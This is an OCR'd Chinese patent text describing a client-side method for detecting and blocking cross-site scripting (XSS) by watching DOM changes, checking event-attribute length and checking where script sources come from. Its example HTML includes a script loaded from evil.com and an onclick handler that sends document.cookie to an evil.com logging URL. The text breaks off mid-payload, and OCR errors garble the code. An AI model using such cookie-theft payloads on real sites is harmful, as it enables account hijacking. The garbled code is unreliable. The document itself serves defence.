跨站腳本攻擊的防御方法及系統(tǒng)的制作方法
【技術(shù)領(lǐng)域】
[0001 ] 本申請(qǐng)涉及網(wǎng)站安全的技術(shù)領(lǐng)域,尤其涉及跨站腳本攻擊的防御方法及系統(tǒng)。
【背景技術(shù)】
[0002]跨站腳本攻擊(Cross S i te Script ing,XSS),攻擊者往網(wǎng)頁(yè)里嵌入惡意代碼,當(dāng)客戶端獲取網(wǎng)頁(yè)數(shù)據(jù)時(shí),嵌入的惡意代碼被執(zhí)行,達(dá)到惡意攻擊的目的。利用網(wǎng)站漏洞盜取信息,以及進(jìn)行非法操作,如盜取網(wǎng)銀帳號(hào)、管理員帳號(hào)或商業(yè)資料,控制企業(yè)數(shù)據(jù)(讀取、篡改、添加、刪除企業(yè)敏感數(shù)據(jù)),非法轉(zhuǎn)賬,強(qiáng)制發(fā)送電子郵件或網(wǎng)站掛馬等等。可見(jiàn)XSS構(gòu)成了網(wǎng)絡(luò)業(yè)務(wù)的最大威脅之一,不僅危害了業(yè)務(wù)本身,對(duì)訪問(wèn)網(wǎng)絡(luò)業(yè)務(wù)的用戶也會(huì)帶來(lái)了影響。所以防御跨站腳本攻擊,能夠保障網(wǎng)絡(luò)業(yè)務(wù)的安全性。
[0003]現(xiàn)有的XSS的防御方法,通常有以下兩種方式來(lái)防御XSS:
[0004]方法一:采用特征匹配方式,在所有提交的信息中都進(jìn)行檢查,即對(duì)“javascript”這個(gè)關(guān)鍵詞進(jìn)行檢索,一旦發(fā)現(xiàn)提交的信息中包含“javascript”,就報(bào)警認(rèn)定為攻擊事件。但是,這樣會(huì)檢測(cè)到大量的非攻擊事件,并且攻擊者可以通過(guò)插入字符或完全編碼的方式躲避檢測(cè),導(dǎo)致檢測(cè)結(jié)果不準(zhǔn)確。
[0005]方法二:在用戶數(shù)據(jù)輸入到客戶端之前,對(duì)用戶數(shù)據(jù)進(jìn)行相關(guān)的轉(zhuǎn)義和過(guò)濾的方式,將用戶數(shù)據(jù)轉(zhuǎn)義成信任的數(shù)據(jù),以及將用戶數(shù)據(jù)進(jìn)行白名單或者黑名單過(guò)濾,從而輸出無(wú)攻擊性的數(shù)據(jù)到客戶端。對(duì)用戶數(shù)據(jù)進(jìn)行轉(zhuǎn)義和過(guò)濾時(shí),需要考慮各種客戶端的執(zhí)行環(huán)境,運(yùn)行效率低。當(dāng)客戶端瀏覽器處理完網(wǎng)頁(yè)數(shù)據(jù)之后,采用額外的代碼,對(duì)網(wǎng)頁(yè)數(shù)據(jù)中的腳本和內(nèi)聯(lián)腳本掃描分析。但是由于掃描的時(shí)機(jī)發(fā)生在頁(yè)面加載完成之后,如果黑客將攻擊完之后的事件刪除,就檢測(cè)不到跨站腳本攻擊的事件了。
【發(fā)明內(nèi)容】
[0006]本申請(qǐng)實(shí)施例的目的是,提供一種跨站腳本攻擊的防御方法及系統(tǒng),以解決現(xiàn)有技術(shù)中在跨站腳本攻擊的防御中,檢測(cè)到非攻擊事件、檢測(cè)不到攻擊事件、運(yùn)行效率低以及檢測(cè)不準(zhǔn)確問(wèn)題。
[0007]為實(shí)現(xiàn)上述目的,本申請(qǐng)?zhí)峁┝巳缦路桨?
[0008]一種跨站腳本攻擊的防御方法,所述方法包括:接收服務(wù)器發(fā)送的網(wǎng)頁(yè)數(shù)據(jù),所述網(wǎng)頁(yè)數(shù)據(jù)包括檢測(cè)裝置腳本;對(duì)網(wǎng)頁(yè)數(shù)據(jù)進(jìn)行處理時(shí),根據(jù)網(wǎng)頁(yè)數(shù)據(jù)的排列順序,將網(wǎng)頁(yè)數(shù)據(jù)創(chuàng)建為模型;當(dāng)檢測(cè)到模型包括第一屬性事件時(shí),獲取第一屬性事件的第一屬性值;當(dāng)?shù)谝粚傩灾档拈L(zhǎng)度大于第一閾值時(shí),報(bào)警并刪除第一屬性事件;當(dāng)檢測(cè)到模型包括腳本標(biāo)簽時(shí),檢測(cè)腳本標(biāo)簽是否具有源地址屬性;如果腳本標(biāo)簽具有源地址屬性時(shí),當(dāng)檢測(cè)到源地址屬性的路徑不屬于第一區(qū)域時(shí),報(bào)警并刪除腳本標(biāo)簽。
[0009]一種跨站腳本攻擊的防御系統(tǒng),所述系統(tǒng)包括:接收單元,用于接收服務(wù)器發(fā)送的網(wǎng)頁(yè)數(shù)據(jù),所述網(wǎng)頁(yè)數(shù)據(jù)包括檢測(cè)裝置腳本;創(chuàng)建單元,用于對(duì)網(wǎng)頁(yè)數(shù)據(jù)進(jìn)行處理時(shí),根據(jù)網(wǎng)頁(yè)數(shù)據(jù)的排列順序,將網(wǎng)頁(yè)數(shù)據(jù)創(chuàng)建為模型;獲取單元,用于當(dāng)檢測(cè)到模型包括第一屬性事件時(shí),獲取第一屬性事件的第一屬性值;處理單元,用于當(dāng)?shù)谝粚傩灾档拈L(zhǎng)度大于第一閾值時(shí),報(bào)警并刪除第一屬性事件;檢測(cè)單元,用于當(dāng)檢測(cè)到模型包括腳本標(biāo)簽時(shí),檢測(cè)腳本標(biāo)簽是否具有源地址屬性;所述處理單元,還用于如果腳本標(biāo)簽具有源地址屬性時(shí),當(dāng)檢測(cè)到源地址屬性的路徑不屬于第一區(qū)域時(shí),報(bào)警并刪除腳本標(biāo)簽。
[0010]根據(jù)本申請(qǐng)?zhí)峁┑木唧w實(shí)施例,本申請(qǐng)公開(kāi)了以下技術(shù)效果:
[0011]本申請(qǐng)實(shí)施例提供的跨站腳本攻擊的防御方法及系統(tǒng),接收服務(wù)器發(fā)送的網(wǎng)頁(yè)數(shù)據(jù),所述網(wǎng)頁(yè)數(shù)據(jù)包括檢測(cè)裝置腳本;對(duì)網(wǎng)頁(yè)數(shù)據(jù)進(jìn)行處理時(shí),將網(wǎng)頁(yè)數(shù)據(jù)創(chuàng)建為模型;當(dāng)檢測(cè)到模型包括第一屬性事件時(shí),當(dāng)?shù)谝粚傩允录牡谝粚傩灾荡笥诘谝婚撝禃r(shí),報(bào)警并刪除第一屬性事件;當(dāng)檢測(cè)到模型包括腳本標(biāo)簽時(shí),當(dāng)檢測(cè)到腳本標(biāo)簽的源地址屬性的路徑不屬于第一區(qū)域時(shí),報(bào)警并刪除腳本標(biāo)簽??梢詼?zhǔn)確地檢測(cè)到攻擊事件,實(shí)時(shí)地對(duì)攻擊事件進(jìn)行攔截、處理和報(bào)警,運(yùn)行效率高,對(duì)網(wǎng)站起到良好的防御功能。
[0012]當(dāng)然,實(shí)施本申請(qǐng)的任一產(chǎn)品并不一定需要同時(shí)達(dá)到以上所述的所有優(yōu)點(diǎn)。
【附圖說(shuō)明】
[0013]為了更清楚地說(shuō)明本申請(qǐng)實(shí)施例或現(xiàn)有技術(shù)中的技術(shù)方案,下面將對(duì)實(shí)施例中所需要使用的附圖作簡(jiǎn)單地介紹,顯而易見(jiàn)地,下面描述中的附圖僅僅是本申請(qǐng)的一些實(shí)施例,對(duì)于本領(lǐng)域普通技術(shù)人員來(lái)講,在不付出創(chuàng)造性勞動(dòng)的前提下,還可以根據(jù)這些附圖獲得其他的附圖。
[0014]圖1為本申請(qǐng)實(shí)施例一提供的跨站腳本攻擊的防御方法流程圖;
[0015]圖2為本申請(qǐng)實(shí)施例二提供的跨站腳本攻擊的防御方法具體流程圖;
[0016]圖3為本申請(qǐng)實(shí)施例三提供的跨站腳本攻擊的防御系統(tǒng)示意圖。
【具體實(shí)施方式】
[0017]為了更好地理解本申請(qǐng),下面通過(guò)附圖和實(shí)施例,對(duì)本發(fā)明的技術(shù)方案做進(jìn)一步的詳細(xì)描述。
[0018]本申請(qǐng)實(shí)施例提供的跨站腳本攻擊的防御方法,應(yīng)用于防御網(wǎng)站被跨站腳本攻擊。首先,當(dāng)客戶端向服務(wù)器發(fā)送請(qǐng)求后,接收到服務(wù)器的響應(yīng)消息,服務(wù)器將響應(yīng)消息的網(wǎng)頁(yè)在網(wǎng)站上展示時(shí),在網(wǎng)頁(yè)數(shù)據(jù)中會(huì)被跨站嵌入的惡意代碼攻擊網(wǎng)頁(yè)數(shù)據(jù)的腳本。本申請(qǐng)實(shí)施例提供的跨站腳本攻擊的防御方法,可以防御網(wǎng)頁(yè)數(shù)據(jù)的腳本被跨站攻擊,使得客戶端接收到安全的網(wǎng)頁(yè)數(shù)據(jù)。
[0019]實(shí)施例一
[0020]圖1為本申請(qǐng)實(shí)施例一提供的跨站腳本攻擊的防御方法流程圖。本實(shí)例適用于網(wǎng)頁(yè)數(shù)據(jù)的處理場(chǎng)景,并且該實(shí)施例可以由客戶端執(zhí)行。
[0021]如圖1所示,本申請(qǐng)跨站腳本攻擊的防御方法具體包括以下步驟:
[0022]步驟101、接收服務(wù)器發(fā)送的網(wǎng)頁(yè)數(shù)據(jù),所述網(wǎng)頁(yè)數(shù)據(jù)包括檢測(cè)裝置腳本;
[0023]客戶端接收服務(wù)器發(fā)送的網(wǎng)頁(yè)數(shù)據(jù)。首先,客戶端給服務(wù)器發(fā)送請(qǐng)求,再接收服務(wù)器響應(yīng)的網(wǎng)頁(yè)數(shù)據(jù)。這里的網(wǎng)頁(yè)數(shù)據(jù)與普通的網(wǎng)頁(yè)數(shù)據(jù)不同之處在于,網(wǎng)頁(yè)數(shù)據(jù)包括檢測(cè)裝置腳本。
[0024]可選地,所述檢測(cè)裝置腳本位于所述網(wǎng)頁(yè)數(shù)據(jù)頭標(biāo)簽后的第一行。例如,所述檢測(cè)裝置腳本位于所述網(wǎng)頁(yè)數(shù)據(jù)頭head標(biāo)簽后的第一行。檢測(cè)裝置腳本用于檢測(cè)網(wǎng)頁(yè)數(shù)據(jù)動(dòng)態(tài)變化的行為,防御網(wǎng)頁(yè)數(shù)據(jù)被攻擊。檢測(cè)裝置腳本位于所述網(wǎng)頁(yè)數(shù)據(jù)頭標(biāo)簽后的第一行時(shí),可以快速的檢測(cè)到網(wǎng)頁(yè)數(shù)據(jù)動(dòng)態(tài)變化的行為發(fā)生,有效地避免網(wǎng)頁(yè)數(shù)據(jù)被攻擊,提高了客戶端的防御效率。
[0025]例如,網(wǎng)頁(yè)數(shù)據(jù)的檢測(cè)裝置腳本:〈metacharset = 〃utf_8〃> ;<meta http-equiv=^X-UA-Compat ible〃content = 〃IE = edge〃>。下面的代碼是服務(wù)器發(fā)送的網(wǎng)頁(yè)數(shù)據(jù)的示例:
[0026]< ! DOCTYPE html>
[0027]〈html Iang = "zh_CN">
[0028]〈head〉
[0029]< !—監(jiān)控檢測(cè)腳本一>
[0030]<scr ipt>
[0031]var observer = new Mutat 1nObserver (funct 1n (mutat 1ns) {
[0032]Η在文檔的最開(kāi)始,就注冊(cè)頁(yè)面DOM改變的事件
[0033]Il后面所有DOM的改變,都會(huì)觸發(fā)該函數(shù)
[0034]//mutat 1ns包含了變動(dòng)元素的標(biāo)簽和屬性等等所有信息
[0035]});
[0036]observer, observe(document, {
[0037]subtree: true,
[0038]childList: true
[0039]});
[0040]document.addEventListener (' DOMNodeInserted' , funct 1n(e) {
[0041]Il當(dāng)頁(yè)面節(jié)點(diǎn)被插入的時(shí)候,這里可以進(jìn)行捕獲,從而進(jìn)行處理
[0042]}, true);
[0043]〈/script〉
[0044]< !—監(jiān)控檢測(cè)腳本一>
[0045]〈meta charset = "utf-8">
[0046]〈meta http-equiv = ^X-UA-Compatible^content = "IE = edge">
[0047]<title>Demo</title>
[0048]< !—危險(xiǎn)的腳本引入一>
[0049]〈script src = ^http://www.evil, com/evil.js^X/script)
[0050]< !—收信人的腳本一>
[0051]〈script src = ^http://www.trust, com/trust.js^X/script)
[0052]〈/head〉
[0053]〈body〉
[0054]<hl>lHello, world ! </hl>
[0055]< ! —one I ick屬性值是無(wú)害的一>
[0056]〈button class = "ok"onclick = "alert () ;">0K Cl ick Me〈/button>
[0057]< ! —oncl ick屬性值是有害一>
[0058]〈button class = "nook"
[0059]onclick = ’ funct1n evil (){var cookie = document, cookie ;var remoteUrl="http://www.evil.com/logs ? cookie = ;var img = new Image () ;i